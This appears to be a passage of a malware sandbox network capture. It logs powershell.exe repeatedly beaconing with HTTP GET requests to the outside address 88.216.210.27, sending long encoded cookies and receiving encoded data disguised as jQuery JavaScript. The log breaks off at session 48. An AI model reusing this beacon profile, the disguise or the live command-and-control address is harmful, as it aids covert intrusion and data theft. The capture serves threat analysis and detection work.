Apr 9, 2023 02:58:54.771075010 CEST	254	IN	Data Raw: 4e 41 41 49 4b 48 43 46 50 4e 46 4d 4a 42 4b 4f 41 4f 45 45 46 4a 42 49 4e 48 4b 4e 4d 45 49 48 47 43 4e 42 42 4e 4e 46 44 47 4d 48 49 48 46 43 4b 44 42 4a 49 50 49 44 49 42 45 4f 42 48 4e 41 4b 45 47 4f 50 43 4c 4a 4d 4d 41 4d 50 46 48 41 50 4a Data Ascii: NAAIKHCFPNFMJBKOAOEEFJBINHKNMEIHGCNBBNNFDGMHIHFCKDBJIPIDIBEOBHNAKEGOPCLJMMAMPFHAPJHNBPDKGFHBLLCHPILICMOBFAHAJNJCNLKDLOAHPEBMCJJIEAAOCBDEEJDILLAKCMJGAECENMDFNJFG/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49723	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:55.026194096 CEST	255	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=vCrvTefpjwo23UBMhfwBLUZWbCbRba8XK2VGgBMGdkqfHZg9rrFpWkQgkpcA1w8iVEPqQL8GMnN_U-gQqobDFhr0I6jWl_rzNjCzFeB9cCsoNukWjIxDOP5SEaiUWqlneKxsxvSEhxYO0Mu5scYrli-kbktuOpSbfDKeYfH47vSJHvfg User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:55.176491976 CEST	256	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:55 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:55.176536083 CEST	257	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:55.176562071 CEST	258	IN	Data Raw: 4e 46 4a 4a 50 4a 4a 47 47 4d 42 4e 48 43 4b 42 43 4a 4b 50 4c 4a 46 4f 49 4c 4f 4b 50 4f 46 4a 43 41 45 4d 4d 4e 45 4b 4e 4d 41 4d 4a 4d 41 4f 44 48 4a 44 43 41 41 4b 50 4a 4e 4c 44 4f 4c 4a 44 4e 48 4b 4b 4e 4b 47 43 48 50 47 4e 44 4e 4d 4b 4f Data Ascii: NFJJPJJGGMBNHCKBCJKPLJFOILOKPOFJCAEMMNEKNMAMJMAODHJDCAAKPJNLDOLJDNHKKNKGCHPGNDNMKOMEMOMMHCCAKCOGKJBLFGLHHFLONKMBLFIEMLEKCOFKOCKEPBIBMEDOKECLBBJBAECJDMIJBFMMENHJJOLOKDKJGGADGKNIDBCJCDNFHCDBLMBFPENCJFHOBJPMEFEFPFFLNGIFCIJIAJFC/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49688	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:40.367743969 CEST	120	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=91902KycFJ99qNvZzomauA0j97OaGDSCYBDdFVhz7d_UaAOo5cTyzw9VCQJLopS3HzZx1fRzqeY0JnOF4fNYg1GBuD2d4mFmfUUogKsI675jQ3KDx_nYrbUnij3fLzLyM9n3U7_xHINFpVAs-rOwA2TR9d4lTw8ON0cF9LqNdWHCa2x1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:40.517045021 CEST	120	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:40 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:40.517190933 CEST	122	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:40.517241955 CEST	123	IN	Data Raw: 44 44 46 4b 50 41 48 43 4d 44 4e 4f 4e 48 44 49 4d 4c 45 50 49 46 42 44 4a 44 48 43 48 4d 43 44 49 4b 50 4a 50 4c 47 49 4d 4b 47 4a 41 44 4c 4e 4a 49 41 41 4d 47 48 4d 46 48 43 42 4a 44 4d 45 42 42 50 42 42 46 43 4d 4f 4b 48 50 41 44 50 49 46 4f Data Ascii: DDFKPAHCMDNONHDIMLEPIFBDJDHCHMCDIKPJPLGIMKGJADLNJIAAMGHMFHCBJDMEBBPBBFCMOKHPADPIFOFJGODHLFIKEKFFJOJAMMLGMJFPMLODNIANPMKMFGCGBGBJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49724	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:55.450747967 CEST	259	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=JT3SV37-shCvyn1WHOs8N99BUTxIepINsnJ7mooRS1AGCqUnN6ZUQN03r42ZwDI4zVTXWiYRD2nmRNUKM5H-DIPjHrJPgMfpryeOD3lqTTGxIdQMFZt-ImdFLLINTZR94btR3G2TugyXx_ajKNEWjLazU1H3LamB5SWje2jv0-4QCcr6 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:55.607649088 CEST	260	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:55 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:55.607719898 CEST	261	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:55.607739925 CEST	262	IN	Data Raw: 47 42 48 48 44 42 47 4c 4b 42 44 46 4a 4f 41 4e 4d 4a 44 4b 43 45 48 42 4d 41 41 42 44 47 43 44 45 46 4b 4e 41 41 4c 4e 46 49 4c 4e 4f 42 47 43 4c 4f 4e 45 4a 50 46 50 47 41 44 42 42 41 4e 44 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: GBHHDBGLKBDFJOANMJDKCEHBMAABDGCDEFKNAALNFILNOBGCLONEJPFPGADBBAND/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49725	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:55.878643990 CEST	263	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=XxisEATbzFfV7wMRZs5CcKVkL3syX-xKyFcF3fA0NRd8L9tgTYMqB6cS0crj5Ux_t3GpHVw0cS6cYatNSbSAS_nGYPU1pbmu1QLwSANPM3bLBKpLb74AZR1gUvV3aOo6m54vmxe2xEvt4ojkUvRoy8yWLRaNCNfGnwDdPBLKralqLLS9 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:56.033118963 CEST	263	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:55 GMT Server: CloudFront Content-Length: 2292 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:56.033153057 CEST	265	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:56.033175945 CEST	266	IN	Data Raw: 45 4a 4f 4a 45 41 47 44 50 48 44 44 4d 4d 50 4f 47 45 45 41 4e 43 4e 47 4a 47 4a 44 43 4d 48 47 42 43 44 4a 45 44 41 45 4b 49 50 4a 4d 4e 48 4f 44 4f 41 45 49 4d 49 45 43 47 4c 46 45 45 44 47 4a 4c 41 43 50 44 42 4f 43 42 4d 48 43 4d 44 45 45 47 Data Ascii: EJOJEAGDPHDDMMPOGEEANCNGJGJDCMHGBCDJEDAEKIPJMNHODOAEIMIECGLFEEDGJLACPDBOCBMHCMDEEGHPEJDGGGBAMEJJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49726	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:56.306386948 CEST	267	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=e4PiVSBAghLxdE1UQlUMNYH_YT4WxKIP7MxLmNSve1JYtJUlaRhkQoOJn4_HfgI6k-rnWHivP2u4-uUIbS_ODt1dLrARPvfr8Zm-DSfUfTPvn-QOSyVOIDn7HLBT86R_vwVh3jMtig7Jecahdm8mjugNY1Opk5mDu5uTeTZR4-xOt_r4 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:56.456232071 CEST	267	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:56 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:56.456280947 CEST	268	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:56.456311941 CEST	269	IN	Data Raw: 49 4d 44 43 4c 44 41 44 4d 42 42 49 41 42 4a 45 45 47 4c 43 47 44 41 46 42 4e 41 44 44 45 43 42 48 4b 4c 4a 4c 49 4c 4b 42 4b 4d 50 45 46 4b 43 49 4c 43 43 46 44 4c 48 46 49 49 42 41 4f 41 4e 41 47 41 50 4c 4b 46 4c 49 44 48 45 44 45 4a 47 4d 42 Data Ascii: IMDCLDADMBBIABJEEGLCGDAFBNADDECBHKLJLILKBKMPEFKCILCCFDLHFIIBAOANAGAPLKFLIDHEDEJGMBBJDHBEGNJONPLABHBOHPKAHPCNEFJGCPNNIAIBDHMLKHBFGOKLKKPHMOLJIBOMFFHHAPDEAJANMJFEFJELBFIPJEBJCKAKMIMLCBABODLDAFKN/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49727	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:56.756314039 CEST	270	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=jSWUkNbm9NcH0juRtPN68HdZF_vgYtTKGmo9XSIJDZeuEuPgn74Sh3Uv6Uox2HT_ZUyRnY4JSa5OXJPNm4m4yyv7WHXnmIEuBz_IyNFyC_YZOZLLvYM45c9danWlVdK6SaMXG8WL_Ms_37BkgMlQSx6rFZZfNe9GTT3lvMD3lSm4EYw9 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:56.904958010 CEST	271	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:56 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:56.904989958 CEST	272	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:56.905016899 CEST	273	IN	Data Raw: 44 4e 41 4b 4e 4c 43 46 45 47 44 4f 43 44 4c 42 41 4a 4a 4e 4f 44 4e 48 48 43 4a 48 4a 47 4a 4a 41 4c 44 4e 4e 45 4b 48 41 41 50 49 4f 49 47 42 41 4c 44 41 4c 49 42 4d 43 4e 43 48 4d 47 42 48 4f 45 41 4d 43 4b 4d 47 46 46 49 42 47 42 47 44 4a 49 Data Ascii: DNAKNLCFEGDOCDLBAJJNODNHHCJHJGJJALDNNEKHAAPIOIGBALDALIBMCNCHMGBHOEAMCKMGFFIBGBGDJIMGLGADBKLBBGOMGOFBODEMDOMHMBIHELNFKJNDFBIKDJBI/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49728	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:57.191061020 CEST	274	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=p4PoP_xAiHgtdEc-nlUGX13_a1TKxKhlMMxB8givcTiEtJ9PtRhuKF-JleUbfghQT-rtMqSvNQFk-u9isS_EZAFdJNrNPv2BLZm0Z_vUd1kzn-5klyVESuX7FtqP864VYwVrtO8tgGQVeczLqm8s5DQNaTl1k5PpZ5uZE-pR6YaSt_CS User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:57.350686073 CEST	274	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:57 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:57.350735903 CEST	276	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:57.350758076 CEST	277	IN	Data Raw: 4c 43 47 4d 4c 4a 4a 47 4d 4e 4b 4b 41 4e 4f 46 44 42 41 4c 50 48 45 49 4b 42 4a 43 49 48 45 4d 47 49 46 48 42 49 4a 4f 47 4f 43 48 4f 46 4a 4f 4b 43 45 42 4c 46 43 42 4a 42 4b 48 49 46 4c 4c 45 49 4f 46 4c 4f 41 4e 43 48 4d 50 44 42 4d 43 49 45 Data Ascii: LCGMLJJGMNKKANOFDBALPHEIKBJCIHEMGIFHBIJOGOCHOFJOKCEBLFCBJBKHIFLLEIOFLOANCHMPDBMCIEMNICFPLNJFCEAPPPANBEDIGEPBOJKPGHNHCFILMAMKAJPBFBFBJCOOOOHOEMNMHOEDGAPOPJAJMJENLFAJGCAFGLJPBLHEAHGCAGGEPKNNKHFLPGPPHDCCLDHOAIIFDMHJOEOMFCBMAKCLFKJGDEKPHEICBIABCBG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49729	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:57.615653992 CEST	278	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=wXhlEZq7BVZLj8oQ-K6LcTsE5nqsPyVLVjfM3G5U_BbiTxJh0-PjBjlyGMt9hYV-KRFgHMJUuC8CAWJM19RJSmemqfSrxXCvS2I5SZ0v-ndVZGNK8d7JZIMAm_TpCCM7Bf7mmonWDUpzgkHlzJShylL25BcTaB7HAWAUPYyqZKj0TH28 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:57.765491009 CEST	278	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:57 GMT Server: CloudFront Content-Length: 2196 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:57.765528917 CEST	280	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:57.765558958 CEST	281	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49730	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:58.038959026 CEST	282	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=y5G7l5BS29BBZhSW8kdV9zHtOPym1vvNXN4SWmS9IpDopszn2Qo9gDObxk13bFv4I_i-msi9ZqkI6LzK3T2XzG1Pd3KhLK4pQYvnz5fGJPFfjb3M-zcX4onpRXLj4f29Dxc4HIM_08x5a59jxn1_TFgfOpEZgcBBC4nKu4ZDui7-paM6 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:58.198446035 CEST	282	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:58 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:58.198479891 CEST	283	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:58.198509932 CEST	285	IN	Data Raw: 4f 47 43 4a 4d 47 50 43 44 43 46 4b 43 4d 4a 49 4c 4d 43 4a 4c 4e 4d 50 44 48 4c 4e 47 4c 41 41 45 42 4c 4e 4e 4e 41 4e 46 4e 44 4e 44 4d 46 49 4f 4a 41 44 4d 4d 41 50 43 50 4c 4e 49 45 45 41 46 50 4a 4b 4c 4e 42 41 50 46 4c 4c 4c 43 49 4f 49 42 Data Ascii: OGCJMGPCDCFKCMJILMCJLNMPDHLNGLAAEBLNNNANFNDNDMFIOJADMMAPCPLNIEEAFPJKLNBAPFLLLCIOIBABBCPBEHNMKBLBNFHPMOONJPDJKABJCDHOLFBJCDJMAIAFFMCAEAAPLDAFGMLIHKGCBIBLNNHGHFDHFKHKFBKHCCPOAMEMLEICJFCAKDGEPDPIENECOLJCKKJKDIINCAMBKNHNNDIHEBHKDIDDLGFAKANCFEMIBCH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49731	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:58.468336105 CEST	286	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=KN_WUnMcthWiKHlTEQk4MtKjVTlFmJYIv5B_n4fzT1UL6KEiOkRQRdDVq4iUIjY9wLbTXyvzC2zrptEPPnP6CY4BGrdCYsPsosWKCnSISTS8w9AJGHl6J2qnKLcAr5B47FlV2WBxvgmaJfKmJTMSibtRV1T6z62E6MenfmUN1-sd687_ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:58.617331982 CEST	286	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:58 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:58.617388964 CEST	287	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:58.617432117 CEST	288	IN	Data Raw: 41 43 45 45 4d 4b 41 44 50 4f 4a 43 46 4a 47 4a 4d 4a 4b 4e 49 4d 4c 44 49 4e 49 47 42 46 50 4f 50 46 4f 50 4b 42 50 46 42 4e 4d 41 45 46 45 47 4f 42 44 42 41 41 45 4f 42 43 4c 47 41 4a 4f 43 47 46 41 42 49 49 4b 44 46 44 4a 50 4f 47 44 4d 43 49 Data Ascii: ACEEMKADPOJCFJGJMJKNIMLDINIGBFPOPFOPKBPFBNMAEFEGOBDBAAEOBCLGAJOCGFABIIKDFDJPOGDMCIONHHAFDLPNBFJJELOCMPCOEOPAMFIDGKHNMFLJEIPPOADKHBIBDPBFABHIEBNKPOCGMPMLMEJIMHFLMBJJBNHEABEHEAPKNAEFJDGNKFCBBIEPMBLBLCLGNELDPBNALCNJOOALCKOGOFAPEIFLADLJOJIBLPODNPK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49732	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
